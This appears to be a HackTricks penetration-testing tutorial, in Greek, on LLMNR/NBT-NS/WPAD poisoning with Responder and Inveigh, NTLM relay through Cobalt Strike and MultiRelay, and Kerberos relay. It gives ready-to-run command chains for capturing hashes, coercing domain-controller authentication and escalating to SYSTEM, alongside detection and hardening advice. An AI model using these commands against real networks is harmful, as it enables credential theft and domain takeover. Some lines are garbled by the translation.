# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks {{#include ../../banners/hacktricks-training.md}} ## Network Protocols ### Local Host Resolution Protocols - **LLMNR, NBT-NS, and mDNS**: - Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS. - Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP. - [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα. - Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### Web Proxy Auto-Discovery Protocol (WPAD) - Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις του proxy. - Η ανακάλυψη διευκολύνεται μέσω DHCP, DNS ή εναλλακτικά μέσω LLMNR και NBT-NS αν αποτύχει το DNS. - Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας τους πελάτες σε κακόβουλους διακομιστές WPAD. ### Responder for Protocol Poisoning - **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB. - Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`. - Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`. - Υποστηρίζει τόσο IPv4 όσο και IPv6. - Η έκδοση Windows του Responder είναι διαθέσιμη [εδώ](https://github.com/lgandx/Responder-Windows). #### Running Responder - Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: `responder -I ` - Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I -P -r -v` - Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I --lm --disable-ess` - Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I --wpad` - Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I -Pv` ### DHCP Poisoning with Responder - Η πλαστογράφηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο διακριτική εναλλακτική λύση από την δηλητηρίαση ARP. - Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου. - Εκτέλεση της επίθεσης: `./Responder.py -I eth0 -Pdv` - Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικά τους κατακερματισμούς NTLMv1/2, αλλά απαιτεί προσεκτική διαχείριση για να αποφευχθεί η διακοπή του δικτύου. ### Capturing Credentials with Responder - Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες. - Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων. Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση. ## Inveigh Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell: ```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` Ή εκτελείται ως δυαδικό αρχείο C#: ```bash Inveigh.exe ``` ### NTLM Relay Attack Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν: - Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή. - Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη. #### 445 Port Forwarding and Tunneling Σε σενάρια όπου η άμεση εισαγωγή δικτύου δεν είναι εφικτή, η κίνηση στην πόρτα 445 πρέπει να προωθηθεί και να τούνελ. Εργαλεία όπως το [**PortBender**](https://github.com/praetorian-inc/PortBender) βοηθούν στην ανακατεύθυνση της κίνησης της πόρτας 445 σε άλλη πόρτα, κάτι που είναι απαραίτητο όταν υπάρχει πρόσβαση local admin για τη φόρτωση οδηγών. PortBender setup and operation in Cobalt Strike: ```bash Cobalt Strike -> Script Manager -> Load (Select PortBender.cna) beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory beacon> upload C:\PortBender\WinDivert64.sys # Upload driver beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445 beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server beacon> socks 1080 # Establish a SOCKS proxy on port 1080 # Termination commands beacon> jobs beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` ### Άλλα Εργαλεία για Επίθεση NTLM Relay - **Metasploit**: Ρυθμισμένο με proxies, λεπτομέρειες τοπικών και απομακρυσμένων hosts. - **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors. - **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes. Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο. ### Λειτουργία MultiRelay Το MultiRelay εκτελείται από τον _**/usr/share/responder/tools**_ φάκελο, στοχεύοντας συγκεκριμένες IP ή χρήστες. ```bash python MultiRelay.py -t -u ALL # Relay all users python MultiRelay.py -t -u ALL -c whoami # Execute command python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` Αυτά τα εργαλεία και οι τεχνικές σχηματίζουν ένα ολοκληρωμένο σύνολο για την εκτέλεση επιθέσεων NTLM Relay σε διάφορα δίκτυα. ### Εξαναγκασμός NTLM Συνδέσεων Στα Windows, **μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} ## Επίθεση Kerberos Relay Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί ακόμη και αν οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/` → `LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής. Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση. Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε: - [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) - [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) - 1. **Βασικές έννοιες Kerberos** | Token | Σκοπός | Σχέση με Relay | |-------|---------|-----------------| | **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο | | **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό | | **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** | * Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**. * Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο. * Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται σωστά σε `LDAP/HOST`. - 2. **Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos** 1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers). 2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS. 3. **Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση:** LLMNR/NBNS δηλητηρίαση, DNS spoof, **PetitPotam / DFSCoerce RPC**, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ.. 4. **Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί:** κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649. 5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα **MitM στην επικοινωνία**, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος. ### Βήματα Kerberos Relay - 3.1 **Αναγνώριση της υποδοχής** ```powershell # find servers where HTTP, LDAP or CIFS share the same machine account Get-ADComputer -Filter * -Properties servicePrincipalName | Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | Select Name,servicePrincipalName ``` - 3.2 **Ξεκινήστε τον δέκτη αναμετάδοσης** [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) ```powershell # one-click local SYSTEM via RBCD .\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ``` `KrbRelayUp` περιλαμβάνει **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** σε ένα εκτελέσιμο αρχείο. - 3.3 **Εξαναγκασμός αυθεντικοποίησης Kerberos** ```powershell # coerce DC to auth over SMB with DFSCoerce .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 ``` DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC01` εισιτήριο. - 3.4 **Μεταφορά του AP-REQ** Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί. - 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM** ```powershell # (auto inside KrbRelayUp) manual for clarity New-MachineAccount -Name "FAKE01" -Password "P@ss123" KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt SCMUACBypass.exe ``` You now own **NT AUTHORITY\SYSTEM**. ### **Περισσότεροι δρόμοι που αξίζει να γνωρίζετε** | Vector | Trick | Why it matters | |--------|-------|----------------| | **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή | | **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας | | **AD CS Web Enroll** | Μεταβιβάστε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP | | **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή | ### **Αντιμετώπιση προβλημάτων** | Error | Meaning | Fix | |-------|---------|-----| | `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN | | `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` | | Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή | | Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο | ### **Ανίχνευση** * Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων. * **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης. * Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp. * Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`. ## **Σκληραγώγηση** 1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή. 2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP. 3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP). 4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών. 5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback. ## Αναφορές - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) {{#include ../../banners/hacktricks-training.md}}